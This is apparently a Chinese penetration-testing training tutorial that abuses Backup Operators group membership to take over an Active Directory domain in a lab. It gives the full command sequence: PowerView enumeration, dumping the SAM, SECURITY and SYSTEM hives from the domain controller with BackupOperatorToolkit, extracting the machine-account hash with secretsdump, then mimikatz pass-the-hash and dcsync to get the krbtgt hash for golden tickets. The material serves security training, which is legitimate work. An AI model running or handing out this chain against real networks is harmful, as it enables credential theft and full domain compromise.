Backup Operators组的成员可以备份和恢复计算机上所有的文件,不论保护这些文件的权限是什么。Backup Operators也可以登录和关闭计算机。这个组不能被重命名,删除或者移动。默认情况下,这个内置的组没有成员,可以在域控上执行备份和恢复操作。
在渗透测试过程,我们可以先枚举这个组的成员,如果我们控制的某个账户是这个组的成员,我们则可以利用进行权限提升。
下面使用PowerView的Get-DomainGroupMember方法进行枚举,如下图所示:
Get-DomainGroupMember -Identity "Backup Operators" -Recurse
枚举Backup Operators成员
可以看到dave是backup operators组的成员。接下来,我们尝试使用BackupOperatorToolkit(https://github.com/improsec/BackupOperatorToolkit)提取域控主机dev-DC01的SAM,SECURITY和 SYSTEM文件。这里指定目标主机的本地路径C:\ ,如下图所示:
.\BackupOperatorToolkit.exe DUMP c:\ \\dev-DC01.dev.ms08067.cn
提取注册表文件
查看提取结果,因为当前用户dev\dave是backup operators组成员,所以可以访问域控文件,如下图所示:
查看提取结果
将提取的文件复制到当前主机并使用secretdump提取域控机器账户hash,如下图所示:
copy \\dev-DC01.dev.ms08067.cn\c$\SAM .
copy \\dev-DC01.dev.ms08067.cn\c$\SYSTEM .
copy \\dev-DC01.dev.ms08067.cn\c$\SECURITY .
.\secretdump.exe LOCAL -system .\SYSTEM -security .\SECURITY -sam .\SAM
提取域控机器账户密码hash
在获得了域控机器账户的密码hash后,因为dev-DC01$不是域控的本地管理员,所以我们不能直接利用进行横向移动。
但是dev-DC01$账号有域复制权限,我们可以执行dcsync来获取任何用户的hash,包括krbtgt账号。我们用mimikatz对域控机器账户dev-DC01$ 执行hash传递,然后在新创建的cmd执行dcsync。
以本地管理员权限运行mimikatz:
privilege::debug
# hash传递
sekurlsa::pth /user:dev-DC01$ /ntlm:67b2f25b507fab18d3ead189e902f450 /domain:dev.ms08067.cn
# 在新创建的窗口执行dcsync
lsadump::dcsync /domain:dev.ms08067.cn /user:dev\krbtgt
域控机器账户hash PtH并dcsync
从上图输出可以看到我们成功获取了dev.ms08067.cn域krbtgt账户的hash,接下来可以尝试制作黄金票据进行横向移动。当然也可以提取域管理员密码hash进行横向移动。
— 实验室旗下直播培训课程 —